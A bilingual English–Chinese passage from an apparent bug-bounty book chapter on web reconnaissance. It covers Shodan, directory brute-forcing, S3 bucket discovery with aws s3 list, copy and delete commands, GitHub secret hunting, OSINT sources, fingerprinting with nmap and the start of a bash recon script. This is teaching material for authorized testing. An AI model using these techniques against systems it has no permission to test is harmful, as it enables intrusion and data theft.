通过Shodan，您可以根据主机名或IP地址等标准发现网络摄像头、Web服务器甚至是电厂的存在。例如，如果您在scanme.nmap.org的IP地址45.33.32.156上运行Shodan搜索，您将获得图5-1中的结果。您可以看到，此搜索产生了与我们的端口扫描不同的数据，并提供了有关服务器的其他信息。

Figure 5-1 : The Shodan results page of scanme.nmap.org

图5-1：scanme.nmap.org的Shodan结果页面。

Alternatives to Shodan include Censys and Project Sonar. Combine the information you gather from different databases for the best results. With these databases, you might also find your target’s IP addresses, certificates, and software versions.

除了 Shodan 之外，还有 Censys 和 Project Sonar 可供选择。从不同的数据库中收集信息以获得最佳结果。通过这些数据库，您还可能找到目标的 IP 地址、证书和软件版本。

Directory Brute-Forcing

The next thing you can do to discover more of the site’s attack surface is brute-force the directories of the web servers you’ve found. Finding directories on servers is valuable, because through them, you might discover hidden admin panels, configuration files, password files, outdated functionalities, database copies, and source code files. Directory brute-forcing can sometimes allow you to directly take over a server!

你可以接下来尝试对网站已发现的web服务器目录进行暴力破解，以便更全面地探测攻击面。发现服务器目录很有价值，因为通过它们，你可能会找到隐藏的管理面板、配置文件、密码文件、过时的功能、数据库副本和源代码文件。有时暴力破解目录会让你直接接管服务器！

Even if you can’t find any immediate exploits, directory information often tells you about the structure and technology of an application. For example, a pathname that includes phpmyadmin usually means that the application is built with PHP.

即使你找不到立即可用的漏洞，目录信息通常也会告诉你应用程序的结构和技术。例如，包括phpmyadmin的路径名通常意味着该应用程序是用PHP构建的。

You can use Dirsearch or Gobuster for directory brute-forcing. These tools use wordlists to construct URLs, and then request these URLs from a web server. If the server responds with a status code in the 200 range, the directory or file exists. This means you can browse to the page and see what the application is hosting there. A status code of 404 means that the directory or file doesn’t exist, while 403 means it exists but is protected. Examine 403 pages carefully to see if you can bypass the protection to access the content.

你可以使用Dirsearch或Gobuster进行目录穷举。 这些工具使用单词列表来构造URL，并从Web服务器请求这些URL。 如果服务器响应的状态代码在200范围内，则表示该目录或文件存在。 这意味着您可以浏览该页面并查看应用程序托管的内容。 404状态代码表示目录或文件不存在，而403表示该目录或文件存在，但受到保护。 仔细检查403页，看看是否可以绕过保护以访问内容。

Here’s an example of running a Dirsearch command. The -u flag specifies the hostname, and the -e flag specifies the file extension to use when constructing URLs:

这是运行Dirsearch命令的示例。-u标志指定了主机名，-e标志指定了构建URL时要使用的文件扩展名：

$ ./dirsearch.py -u scanme.nmap.org -e php
Extensions: php | HTTP method: get | Threads: 10 | Wordlist size: 6023
Error Log: /tools/dirsearch/logs/errors.log
Target: scanme.nmap.org
[12:31:11] Starting:
[12:31:13] 403 -  290B  - /.htusers
[12:31:15] 301 -  316B  - /.svn  ->  http://scanme.nmap.org/.svn/
[12:31:15] 403 -  287B  - /.svn/
[12:31:15] 403 -  298B  - /.svn/all-wcprops
[12:31:15] 403 -  294B  - /.svn/entries
[12:31:15] 403 -  297B  - /.svn/prop-base/
[12:31:15] 403 -  296B  - /.svn/pristine/
[12:31:15] 403 -  291B  - /.svn/tmp/
[12:31:15] 403 -  315B  - /.svn/text-base/index.php.svn-base
[12:31:15] 403 -  293B  - /.svn/props/
[12:31:15] 403 -  297B  - /.svn/text-base/
[12:31:40] 301 -  318B  - /images  ->  http://scanme.nmap.org/images/
[12:31:40] 200 -   7KB  - /index
[12:31:40] 200 -   7KB  - /index.html
[12:31:53] 403 -  295B  - /server-status
[12:31:53] 403 -  296B  - /server-status/
[12:31:54] 301 -  318B  - /shared  ->  http://scanme.nmap.org/shared/
Task Completed

Gobuster’s Dir mode is used to find additional content on a specific domain or subdomain. This includes hidden directories and files. In this mode, you can use the -u flag to specify the domain or subdomain you want to brute-force and -w to specify the wordlist you want to use:

Gobuster的Dir模式用于在特定域或子域上查找其他内容，包括隐藏目录和文件。在此模式下，您可以使用-u标志来指定要暴力破解的域或子域，使用-w来指定要使用的字典：

gobuster dir -u target_url -w wordlist

Manually visiting all the pages you’ve found through brute-forcing can be time-consuming. Instead, use a screenshot tool like EyeWitness ( https://github.com/FortyNorthSecurity/EyeWitness/ ) or Snapper ( https://github.com/dxa4481/Snapper/ ) to automatically verify that a page is hosted on each location. EyeWitness accepts a list of URLs and takes screenshots of each page. In a photo gallery app, you can quickly skim these to find the interesting-looking ones. Keep an eye out for hidden services, such as developer or admin panels, directory listing pages, analytics pages, and pages that look outdated and ill-maintained. These are all common places for vulnerabilities to manifest.

手动访问通过暴力破解找到的所有页面可能会耗费大量时间。相反，使用像EyeWitness（https://github.com/FortyNorthSecurity/EyeWitness/）或Snapper（https://github.com/dxa4481/Snapper/）这样的截图工具自动验证每个位置上是否托管有该页面。EyeWitness接受一个URL列表并截取每个页面的屏幕截图。在照片库应用程序中，您可以快速滑过这些页面，找到有趣的页面。注意隐藏服务，例如开发人员或管理员面板，目录列表页面，分析页面以及看起来过时和未养护的页面。这些都是漏洞可能发生的常见地方。

Spidering the Site

Another way of discovering directories and paths is through web spidering , or web crawling, a process used to identify all pages on a site. A web spider tool starts with a page to visit. It then identifies all the URLs embedded on the page and visits them. By recursively visiting all URLs found on all pages of a site, the web spider can uncover many hidden endpoints in an application.

另一种发现目录和路径的方式是通过网络蜘蛛或网络爬虫。它是一种用于识别网站上所有页面的过程。一个网络爬虫工具从一个访问页面开始。然后它会识别页面上嵌入的所有 URL 并访问它们。通过递归访问站点上所有页面中找到的所有 URL，网络爬虫可以揭示应用程序中许多隐藏的端点。

OWASP Zed Attack Proxy (ZAP) at https://www.zaproxy.org/ has a built-in web spider you can use ( Figure 5-2 ). This open source security tool includes a scanner, proxy, and many other features. Burp Suite has an equivalent tool called the crawler , but I prefer ZAP’s spider.

OWASP Zed Attack Proxy（ZAP）在https://www.zaproxy.org/有一个内置的网络蜘蛛，您可以使用（图5-2）。这个开源安全工具包括扫描器、代理和许多其他功能。Burp Suite有一个等效的工具称为爬虫，但我更喜欢ZAP的蜘蛛。

Figure 5-2 : The startup page of OWASP ZAP

图5-2：OWASP ZAP的启动页面

Access its spider tool by opening ZAP and choosing Tools ▶ Spider ( Figure 5-3 ).

通过打开ZAP并选择工具▶Spider（图5-3），访问它的爬虫工具。

Figure 5-3 : You can find the Spider tool via Tools ▶ Spider.

图5-3：您可以通过工具▶蜘蛛来找到蜘蛛工具。

You should see a window for specifying the starting URL ( Figure 5-4 ).

你应该看到一个窗口来指定起始URL（图5-4）。

Figure 5-4 : You can specify the target URL to scan.

图5-4：您可以指定要扫描的目标URL。

Click Start Scan . You should see URLs pop up in the bottom window ( Figure 5-5 ).

点击开始扫描。您应该会在底部窗口（图5-5）中看到URL弹出。

Figure 5-5 : The scan results show up at the bottom pane of the OWASP ZAP window.

图 5-5：扫描结果会显示在 OWASP ZAP 窗口的底部面板。

You should also see a site tree appear on the left side of your ZAP window ( Figure 5-6 ). This shows you the files and directories found on the target server in an organized format.

你还应该在ZAP窗口左侧看到一个站点结构树的出现（如图5-6所示）。它以有组织的格式显示了目标服务器上找到的文件和目录。

Figure 5-6 : The site tree in the left window shows you the files and directories found on the target server.

图5-6：左窗口中的站点树显示了目标服务器上找到的文件和目录。

Third-Party Hosting

Take a look at the company’s third-party hosting footprint. For example, look for the organization’s S3 buckets. S3 , which stands for Simple Storage Service , is Amazon’s online storage product. Organizations can pay to store resources in buckets to serve in their web applications, or they can use S3 buckets as a backup or storage location. If an organization uses Amazon S3, its S3 buckets can contain hidden endpoints, logs, credentials, user information, source code, and other information that might be useful to you.

看看公司的第三方托管足迹。例如，寻找组织的S3存储桶。 S3代表Amazon的在线存储产品 – 简单存储服务。组织可以付费将资源存储在存储桶中以在其Web应用程序中使用，或者他们可以使用S3存储桶作为备份或存储位置。如果组织使用Amazon S3，则其S3存储桶可能包含隐藏的端点、日志、凭据、用户信息、源代码和其他对你有用的信息。

How do you find an organization’s buckets? One way is through Google dorking, as mentioned earlier. Most buckets use the URL format BUCKET.s3.amazonaws.com or s3.amazonaws.com/BUCKET , so the following search terms are likely to find results:

如何查找组织机构的存储桶？一种方法是通过前面提到的 Google Dorking。大多数存储桶使用 URL 格式 BUCKET.s3.amazonaws.com 或 s3.amazonaws.com/BUCKET，因此以下搜索词可能会找到结果：

site:s3.amazonaws.com COMPANY_NAME
site:amazonaws.com COMPANY_NAME

If the company uses custom URLs for its S3 buckets, try more flexible search terms instead. Companies often still place keywords like aws and s3 in their custom bucket URLs, so try these searches:

如果公司为其S3存储桶使用自定义URL，请尝试更灵活的搜索词。公司通常在其自定义存储桶URL中仍然放置像aws 和 s3 等关键字，因此尝试以下这些搜索：

amazonaws s3 COMPANY_NAME
amazonaws bucket COMPANY_NAME
amazonaws COMPANY_NAME
s3 COMPANY_NAME

Another way of finding buckets is to search a company’s public GitHub repositories for S3 URLs. Try searching these repositories for the term s3 . We’ll talk about using GitHub for recon in “GitHub Recon” on the following page .

另一种找到存储桶的方式是在公司的公共GitHub存储库中搜索S3网址。尝试在这些存储库中搜索“s3”一词。我们将在下一页的“GitHub侦察”中讨论如何使用GitHub进行侦察。

GrayhatWarfare ( https://buckets.grayhatwarfare.com/ ) is an online search engine you can use to find publicly exposed S3 buckets ( Figure 5-7 ). It allows you to search for a bucket by using a keyword. Supply keywords related to your target, such as the application, project, or organization name, to find relevant buckets.

GrayhatWarfare（https://buckets.grayhatwarfare.com/）是一个在线搜索引擎，您可以使用它来查找公开暴露的S3存储桶（图5-7）。它允许您使用关键字搜索桶。提供与目标相关的关键字，例如应用程序、项目或组织名称，以查找相关的桶。

Figure 5-7 : The GrayhatWarfare home page

图5-7：GrayhatWarfare主页

Finally, you can try to brute-force buckets by using keywords. Lazys3 ( https://github.com/nahamsec/lazys3/ ) is a tool that helps you do this. It relies on a wordlist to guess buckets that are permutations of common bucket names. Another good tool is Bucket Stream ( https://github.com/eth0izzle/bucket-stream/ ), which parses certificates belonging to an organization and finds S3 buckets based on permutations of the domain names found on the certificates. Bucket Stream also automatically checks whether the bucket is accessible, so it saves you time.

最后，你可以尝试使用关键词进行暴力破解存储桶。Lazys3（https://github.com/nahamsec/lazys3/）是一个帮助你实现的工具。它依赖于一个单词列表来猜测存储桶，这些存储桶是常见存储桶名称的排列组合。另一个好的工具是Bucket Stream（https://github.com/eth0izzle/bucket-stream/），它解析属于一个组织的证书，并基于在证书上找到的域名的排列组合来找到S3存储桶。Bucket Stream还自动检查存储桶是否可访问，因此它可以节省你的时间。

Once you’ve found a couple of buckets that belong to the target organization, use the AWS command line tool to see if you can access one. Install the tool by using the following command:

一旦找到几个属于目标机构的存储桶，使用AWS命令行工具查看是否可以访问其中一个。使用以下命令安装工具：

pip install awscli

Then configure it to work with AWS by following Amazon’s documentation at https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-configure.html . Now you should be able to access buckets directly from your terminal via the aws s3 command. Try listing the contents of the bucket you found:

按照亚马逊文档 https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-configure.html 进行配置，使其可与 AWS 兼容。现在，您可以通过 aws s3 命令直接从终端访问桶。尝试列出您找到的桶的内容：

aws s3 ls s3://BUCKET_NAME/

If this works, see if you can read the contents of any interesting files by copying files to your local machine:

如果这个方法有效，请尝试复制文件到本地计算机上，查看其中有趣文件的内容：

aws s3 cp s3://BUCKET_NAME/FILE_NAME/path/to/local/directory

Gather any useful information leaked via the bucket and use it for future exploitation! If the organization reveals information such as active API keys or personal information, you should report this right away. Exposed S3 buckets alone are often considered a vulnerability. You can also try to upload new files to the bucket or delete files from it. If you can mess with its contents, you might be able to tamper with the web application’s operations or corrupt company data. For example, this command will copy your local file named TEST_FILE into the target’s S3 bucket:

收集通过存储桶泄露的任何有用信息并将其用于未来利用！如果组织披露例如活动API密钥或个人信息的信息，您应立即报告。仅暴露的S3桶通常被视为漏洞。您还可以尝试向存储桶上传新文件或从中删除文件。如果您可以干扰其内容，您可能能够篡改Web应用程序的操作或破坏公司数据。例如，此命令将将名为TEST_FILE的本地文件复制到目标的S3存储桶中：

aws s3 cp TEST_FILE s3://BUCKET_NAME/

And this command will remove the TEST_FILE that you just uploaded:

而此命令将删除您刚上传的 `TEST_FILE` 文件:

aws s3 rm s3://BUCKET_NAME/TEST_FILE

These commands are a harmless way to prove that you have write access to a bucket without actually tampering with the target company’s files.

这些命令是一种无害的方式，可以证明您具有对一个存储桶的写权限，而不会实际干扰目标公司的文件。

Always upload and remove your own test files. Don’t risk deleting important company resources during your testing unless you’re willing to entertain a costly lawsuit.

始终上传和删除您自己的测试文件。除非您愿意承担昂贵的诉讼风险，否则不要在测试期间冒险删除重要的公司资源。

GitHub Recon

Search an organization’s GitHub repositories for sensitive data that has been accidentally committed, or information that could lead to the discovery of a vulnerability.

搜索组织的GitHub存储库，查找意外提交的敏感数据或可能导致漏洞发现的信息。

Start by finding the GitHub usernames relevant to your target. You should be able to locate these by searching the organization’s name or product names via GitHub’s search bar, or by checking the GitHub accounts of known employees.

从寻找与您目标相关的GitHub用户名开始。您可以通过使用GitHub的搜索栏搜索组织名称或产品名称，或者通过检查已知员工的GitHub帐户来找到这些用户名。

When you’ve found usernames to audit, visit their pages. Find repositories related to the projects you’re testing and record them, along with the usernames of the organization’s top contributors, which can help you find more relevant repositories.

当您找到要审计的用户名时，请访问他们的页面。查找与您测试的项目相关的存储库，并记录它们，以及组织顶级贡献者的用户名，这可以帮助您找到更多相关的存储库。

Then dive into the code. For each repository, pay special attention to the Issues and Commits sections. These sections are full of potential info leaks: they could point attackers to unresolved bugs, problematic code, and the most recent code fixes and security patches. Recent code changes that haven’t stood the test of time are more likely to contain bugs. Look at any protection mechanisms implemented to see if you can bypass them. You can also search the Code section for potentially vulnerable code snippets. Once you’ve found a file of interest, check the Blame and History sections at the top-right corner of the file’s page to see how it was developed ( Figure 5-8 ).

然后深入代码中。对于每个存储库，特别留意问题和提交部分。这些部分充满了潜在的信息泄漏：它们可能指向未解决的漏洞，有问题的代码，并且是最近的代码修复和安全补丁。最近的代码更容易包含错误。查看实施的任何保护机制是否可以绕过它们。您还可以搜索代码部分以查找可能存在漏洞的代码片段。一旦找到感兴趣的文件，请检查文件页面右上角的责难和历史部分以了解它是如何开发的（图5-8）。

Figure 5-8 : The History and Blame sections

图5-8：历史和责任部分。

We’ll dive deeper into reviewing source code in Chapter 22 , but during the recon phase, look for hardcoded secrets such as API keys, encryption keys, and database passwords. Search the organization’s repositories for terms like key , secret , and password to locate hardcoded user credentials that you can use to access internal systems. After you’ve found leaked credentials, you can use KeyHacks ( https://github.com/streaak/keyhacks/ ) to check if the credentials are valid and learn how to use them to access the target’s services.

在第22章中，我们将更深入地了解源代码审查，但在侦察阶段，要寻找硬编码的秘密，如API密钥、加密密钥和数据库密码。在组织的存储库中搜索关键词，如key、secret和password，以定位硬编码的用户凭据，您可以使用它们来访问内部系统。找到泄露的凭据后，您可以使用 KeyHacks(https://github.com/streaak/keyhacks/) 来检查凭据是否有效，并学习如何使用它们来访问目标服务。

You should also search for sensitive functionalities in the project. See if any of the source code deals with important functions such as authentication, password reset, state-changing actions, or private info reads. Pay attention to code that deals with user input, such as HTTP request parameters, HTTP headers, HTTP request paths, database entries, file reads, and file uploads, because they provide potential entry points for attackers to exploit the application’s vulnerabilities. Look for any configuration files, as they allow you to gather more information about your infrastructure. Also, search for old endpoints and S3 bucket URLs that you can attack. Record these files for further review in the future.

你还应该搜索项目中的敏感功能。查看是否有任何源代码涉及重要功能，例如身份验证、密码重置、状态更改操作或私人信息读取。注意处理用户输入的代码，例如HTTP请求参数、HTTP头部、HTTP请求路径、数据库条目、文件读取和文件上传，因为它们为攻击者利用应用程序漏洞提供了潜在的入口点。查找任何配置文件，因为它们可以让你收集有关基础架构的更多信息。此外，搜索可以攻击的旧端点和S3存储桶URL。记录这些文件以备将来进一步审查。

Outdated dependencies and the unchecked use of dangerous functions are also a huge source of bugs. Pay attention to dependencies and imports being used and go through the versions list to see if they’re outdated. Record any outdated dependencies. You can use this information later to look for publicly disclosed vulnerabilities that would work on your target.

过时的依赖和对危险函数的未检查使用也是错误的巨大来源。注意使用的依赖和导入，查看版本列表以查看它们是否过时。记录任何过时的依赖关系。您可以稍后使用此信息查找可在您的目标上运行的公开披露的漏洞。

Tools like Gitrob and TruffleHog can automate the GitHub recon process. Gitrob ( https://github.com/michenriksen/gitrob/ ) locates potentially sensitive files pushed to public repositories on GitHub. TruffleHog ( https://github.com/trufflesecurity/truffleHog/ ) specializes in finding secrets in repositories by conducting regex searches and scanning for high-entropy strings.

类似Gitrob和TruffleHog这样的工具可以自动化GitHub侦察过程。Gitrob（https://github.com/michenriksen/gitrob/）可以定位在GitHub公共仓库中推送的潜在敏感文件。TruffleHog（https://github.com/trufflesecurity/truffleHog/）专注于通过进行正则表达式搜索和扫描高熵字符串来查找存储库中的机密信息。

Other Sneaky OSINT Techniques

Many of the strategies I discussed so far are all examples of open source intelligence (OSINT) , or the practice of gathering intel from public sources of information. This section details other OSINT sources you might use to extract valuable information.

到目前为止，我讨论的许多策略都是公开源情报（OSINT）的例子，或者从公共信息来源收集情报的实践。本节详细介绍了其他可能用于提取有价值信息的OSINT来源。

First, check the company’s job posts for engineering positions. Engineering job listings often reveal the technologies the company uses. For example, take a look at an ad like this one:

首先，查看公司发布的工程职位。工程职位列表通常会透露公司使用的技术。例如，看看这样一个广告：

Full Stack Engineer

全栈工程师

Minimum Qualifications:

Proficiency in Python and C/C++

Linux experience

Experience with Flask, Django, and Node.js

Experience with Amazon Web Services, especially EC2, ECS, S3, and RDS

From reading this, you know the company uses Flask, Django, and Node.js to build its web applications. The engineers also probably use Python, C, and C++ on the backend with a Linux machine. Finally, they use AWS to outsource their operations and file storage.

从阅读这篇文章，你知道该公司使用Flask、Django和Node.js构建其网站应用程序。工程师们在后台也可能使用Python、C和C++，并使用Linux机器。最后，他们使用AWS来外包他们的操作和文件存储。

If you can’t find relevant job posts, search for employees’ profiles on LinkedIn, and read employees’ personal blogs or their engineering questions on forums like Stack Overflow and Quora. The expertise of a company’s top employees often reflects the technology used in development.

如果您找不到相关的职位发布，请在LinkedIn上搜索员工个人资料，并阅读员工在Stack Overflow和Quora等论坛上的工程问题或个人博客。公司顶尖员工的专业知识通常反映了开发中使用的技术。

Another source of information is the employees’ Google calendars. People’s work calendars often contain meeting notes, slides, and sometimes even login credentials. If an employee shares their calendars with the public by accident, you could gain access to these. The organization or its employees’ social media pages might also leak valuable information. For example, hackers have actually discovered sets of valid credentials on Post-it Notes visible in the background of office selfies!

另一个信息来源是员工的谷歌日历。人们的工作日历通常包含会议记录、幻灯片，有时甚至包含登录凭据。如果员工不小心将他们的日历与公众共享，您可能会获得这些信息。该组织或其员工的社交媒体页面也可能泄露有价值的信息。例如，黑客实际上发现了办公室自拍背景中可见的Post-it笔记上的一组有效凭据！

If the company has an engineering mailing list, sign up for it to gain insight into the company’s technology and development process. Also check the company’s SlideShare or Pastebin accounts. Sometimes, when organizations present at conferences or have internal meetings, they upload slides to SlideShare for reference. You might be able to find information about the technology stack and security challenges faced by the company.

如果公司有工程邮件列表，请注册进去以了解公司的技术和开发流程。还要检查公司的SlideShare或Pastebin账户。有时，组织在会议上或内部会议时，会上传幻灯片到SlideShare供参考。您可能能找到有关公司的技术堆栈和安全挑战的信息。

Pastebin ( https://pastebin.com/ ) is a website for pasting and storing text online for a short time. People use it to share text across machines or with others. Engineers sometimes use it to share source code or server logs with their colleagues for viewing or collaboration, so it could be a great source of information. You might also find uploaded credentials and development comments. Go to Pastebin, search for the target’s organization name, and see what happens! You can also use automated tools like PasteHunter ( https://github.com/kevthehermit/PasteHunter/ ) to scan for publicly pasted data.

Pastebin（https://pastebin.com/）是一个在线粘贴和储存文本的网站，可供短时间内使用。人们可以使用它来在机器之间或与他人分享文本。工程师有时会使用它来与同事共享源代码或服务器日志，以便查看或协作，因此它可能是一个很好的信息来源。您还可能找到上传的凭据和开发注释。前往Pastebin，搜索目标组织名称，看看会发生什么！您还可以使用自动化工具，如PasteHunter（https://github.com/kevthehermit/PasteHunter/），来扫描公开粘贴的数据。

Lastly, consult archive websites like the Wayback Machine ( https://archive.org/web/ ), a digital record of internet content ( Figure 5-9 ). It records a site’s content at various points in time. Using the Wayback Machine, you can find old endpoints, directory listings, forgotten subdomains, URLs, and files that are outdated but still in use. Tomnomnom’s tool Waybackurls ( https://github.com/tomnomnom/waybackurls/ ) can automatically extract endpoints and URLs from the Wayback Machine.

最后，可以查阅像 Wayback Machine（https://archive.org/web/） 这样的档案网站（图5-9），它是网络内容的数字记录。它会在不同的时间点记录一个网站的内容。使用 Wayback Machine，可以找到旧的端点、目录列表、被遗忘的子域名、URL 和已经过时但仍在使用的文件。Tomnomnom 的 Waybackurls 工具（https://github.com/tomnomnom/waybackurls/）可以自动从 Wayback Machine 中提取端点和 URL。

Figure 5-9 : The Wayback Machine archives the internet and allows you to see pages that have been removed by a website.

图5-9：Wayback Machine存档了互联网并允许您查看网站删除的页面。

Tech Stack Fingerprinting

Fingerprinting techniques can help you understand the target application even better. Fingerprinting is identifying the software brands and versions that a machine or an application uses. This information allows you to perform targeted attacks on the application, because you can search for any known misconfigurations and publicly disclosed vulnerabilities related to a particular version. For example, if you know the server is using an old version of Apache that could be impacted by a disclosed vulnerability, you can immediately attempt to attack the server using it.

指纹技术可以帮助你更好地了解目标应用程序。指纹识别是识别机器或应用程序使用的软件品牌和版本的过程。这些信息可以让你对该应用程序进行有针对性的攻击，因为你可以搜索与特定版本相关的任何已知的配置错误和公开披露的漏洞。例如，如果你知道服务器正在使用一个旧版本的Apache，而该版本可能受到已披露的漏洞的影响，那么你可以立即尝试使用该漏洞对该服务器进行攻击。

The security community classifies known vulnerabilities as Common Vulnerabilities and Exposures ( CVEs) and gives each CVE a number for reference. Search for them on the CVE database ( https://cve.mitre.org/cve/search_cve_list.html ).

安全社区将已知漏洞分类为常见漏洞和暴露（CVEs），并为每个CVE分配一个参考编号。 在CVE数据库上搜索它们（https://cve.mitre.org/cve/search_cve_list.html）。

The simplest way of fingerprinting an application is to engage with the application directly. First, run Nmap on a machine with the -sV flag on to enable version detection on the port scan. Here, you can see that Nmap attempted to fingerprint some software running on the target host for us:

指纹识别应用程序的最简单方法是直接与应用程序互动。首先，在使用-sV标志的机器上运行Nmap以启用端口扫描的版本检测。在这里，您可以看到Nmap尝试为我们指纹识别目标主机上运行的一些软件：。

$ nmap scanme.nmap.org -sV
Starting Nmap 7.60 ( https://nmap.org )
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.065s latency).
Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f
Not shown: 992 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
25/tcp filtered smtp
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
9929/tcp open nping-echo Nping echo
31337/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 9.19 seconds

Next, in Burp, send an HTTP request to the server to check the HTTP headers used to gain insight into the tech stack. A server might leak many pieces of information useful for fingerprinting its technology:

接下来，在Burp中发送HTTP请求到服务器，检查所使用的HTTP标头，以获取有关技术栈的信息。服务器可能会泄漏许多有用的信息，有助于指纹识别其技术：

Server: Apache/2.0.6 (Ubuntu)
X-Powered-By: PHP/5.0.1
X-Generator: Drupal 8
X-Drupal-Dynamic-Cache: UNCACHEABLE
Set-Cookie: PHPSESSID=abcde;

HTTP headers like Server and X-Powered-By are good indicators of technologies. The Server header often reveals the software versions running on the server. X-Powered-By reveals the server or scripting language used. Also, certain headers are used only by specific technologies. For example, only Drupal uses X-Generator and X-Drupal-Dynamic-Cache . Technology-specific cookies such as PHPSESSID are also clues; if a server sends back a cookie named PHPSESSID , it’s probably developed using PHP.

HTTP头像服务器和X-Powered-By是技术指示器的好标志。服务器标头经常显示运行在服务器上的软件版本。X-Powered-By显示了使用的服务器或脚本语言。此外，某些标头仅用于特定技术。例如，只有Drupal使用X-Generator和X-Drupal-Dynamic-Cache。特定于技术的cookie（如PHPSESSID）也是提示;如果服务器发送名为PHPSESSID的cookie，则可能使用PHP开发。

The HTML source code of web pages can also provide clues. Many web frameworks or other technologies will embed a signature in source code. Right-click a page, select View Source Code , and press CTRL -F to search for phrases like powered by , built with , and running . For instance, you might find Powered by: WordPress 3.3.2 written in the source.

网页的HTML源代码也可以提供线索。许多Web框架或其他技术都会在源代码中嵌入签名。右键单击页面，选择查看源代码，按CTRL-F搜索诸如powered by、built with和running等短语。例如，你可能会在源码中找到如Powered by: WordPress 3.3.2的字样。

Check technology-specific file extensions, filenames, folders, and directories. For example, a file named phpmyadmin at the root directory, like https://example.com/phpmyadmin , means the application runs PHP. A directory named jinja2 that contains templates means the site probably uses Django and Jinja2. You can find more information about a specific technology’s filesystem signatures by visiting its individual documentation.

请检查专属于技术的文件扩展名，文件名，文件夹和目录。例如，在根目录下命名为phpmyadmin的文件，例如https://example.com/phpmyadmin，表示该应用程序运行PHP。包含模板的名为jinja2的目录可能意味着该网站使用Django和Jinja2。您可以通过访问其个人文档来获取有关特定技术的文件系统签名的更多信息。

Several applications can automate this process. Wappalyzer ( https://www.wappalyzer.com/ ) is a browser extension that identifies content management systems, frameworks, and programming languages used on a site. BuiltWith ( https://builtwith.com/ ) is a website that shows you which web technologies a site is built with. StackShare ( https://stackshare.io/ ) is an online platform that allows developers to share the tech they use. You can use it to find out if the organization’s developers have posted their tech stack. Finally, Retire.js is a tool that detects outdated JavaScript libraries and Node.js packages. You can use it to check for outdated technologies on a site.

有几个应用程序可以自动化这个过程。Wappalyzer (https://www.wappalyzer.com/) 是一个浏览器扩展，可以识别站点上使用的内容管理系统、框架和编程语言。BuiltWith (https://builtwith.com/) 是一个网站，可以显示网站使用的网页技术。StackShare (https://stackshare.io/) 是一个在线平台，允许开发人员分享他们使用的技术。您可以使用它来查找组织的开发人员是否已发布他们的技术栈。最后，Retire.js 是一个工具，可以检测过时的 JavaScript 库和 Node.js 包。您可以使用它来检查站点上是否存在过时的技术。

Writing Your Own Recon Scripts

You’ve probably realized by now that good recon is an extensive process. But it doesn’t have to be time-consuming or hard to manage. We’ve already discussed several tools that use the power of automation to make the process easier.

你可能已经意识到了，良好的侦察是一个复杂的过程。但是它并不一定需要耗费大量的时间或难以管理。我们已经讨论了几种利用自动化技术来简化这一过程的工具。

Sometimes you may find it handy to write your own scripts. A script is a list of commands designed to be executed by a program. They’re used to automate tasks such as data analysis, web-page generation, and system administration. For us bug bounty hunters, scripting is a way of quickly and efficiently performing recon, testing, and exploitation. For example, you could write a script to scan a target for new subdomains, or enumerate potentially sensitive files and directories on a server. Once you’ve learned how to script, the possibilities are endless.

有时候你可能会发现编写自己的脚本很方便。脚本是一组命令的列表，旨在通过程序执行。它们用于自动化数据分析、网页生成和系统管理等任务。对于我们这些漏洞赏金猎人来说，脚本是一种快速高效地执行侦察、测试和利用的方式。例如，你可以编写一个脚本来扫描目标找出新的子域名，或者在服务器上枚举潜在的敏感文件和目录。一旦你学会了如何编写脚本，可能性就是无限的。

This section covers bash scripts in particular—what they are and why you should use them. You’ll learn how to use bash to simplify your recon process and even write your own tools. I’ll assume that you have basic knowledge of how programming languages work, including variables, conditionals, loops, and functions, so if you’re not familiar with these concepts, please take an introduction to coding class at Codecademy ( https://www.codecademy.com/ ) or read a programming book.

本节特别介绍bash脚本，包括其定义和使用的原因。您将学习如何使用bash简化您的侦察过程，甚至编写自己的工具。我假定您对编程语言的基本知识有所了解，包括变量、条件、循环和函数，如果您对这些概念不熟悉，请参加Codecademy（https://www.codecademy.com/）的编程入门课程或阅读编程书籍。

Bash scripts, or any type of shell script, are useful for managing complexities and automating recurrent tasks. If your commands involve multiple input parameters, or if the input of one command depends on the output of another, entering it all manually could get complicated quickly and increase the chance of a programming mistake. On the other hand, you might have a list of commands that you want to execute many, many times. Scripts are useful here, as they save you the trouble of typing the same commands over and over again. Just run the script each time and be done with it.

Bash脚本或任何类型的shell脚本，都有助于管理复杂性并自动化重复任务。如果您的命令涉及多个输入参数，或者一个命令的输入取决于另一个命令的输出，手动输入这些内容可能会很复杂，增加编程错误的机会。另一方面，您可能有一系列命令需要执行很多次。在这种情况下，脚本非常有用，因为它们可以让您省去反复输入相同命令的麻烦。只需每次运行脚本即可完成任务。

Understanding Bash Scripting Basics

Let’s write our first script. Open any text editor to follow along. The first line of every shell script you write should be the shebang line . It starts with a hash mark ( # ) and an exclamation mark ( ! ), and it declares the interpreter to use for the script. This allows the plaintext file to be executed like a binary. We’ll use it to indicate that we’re using bash.

让我们写我们的第一个脚本。打开任何文本编辑器进行跟随。你写的每个 shell 脚本的第一行应该是 shebang 行。它以井号 (#) 和感叹号 (!) 开头，并声明要用于脚本的解释器。这允许纯文本文件像二进制文件一样被执行。我们将使用它来表示我们正在使用 bash。

Let’s say we want to write a script that executes two commands; it should run Nmap and then Dirsearch on a target. We can put the commands in the script like this:

假设我们想编写一个脚本，执行两个命令；它应该在目标上运行Nmap，然后在其中运行Dirsearch。我们可以像这样将命令放入脚本中：

#!/bin/bash
nmap scanme.nmap.org
/PATH/TO/dirsearch.py -u scanme.nmap.org -e php

This script isn’t very useful; it can scan only one site, scanme.nmap.org . Instead, we should let users provide input arguments to the bash script so they can choose the site to scan. In bash syntax, $1 represents the first argument passed in, $2 is the second argument, and so on. Also, $@ represents all arguments passed in, while $# represents the total number of arguments. Let’s allow users to specify their targets with the first input argument, assigned to the variable $1 :

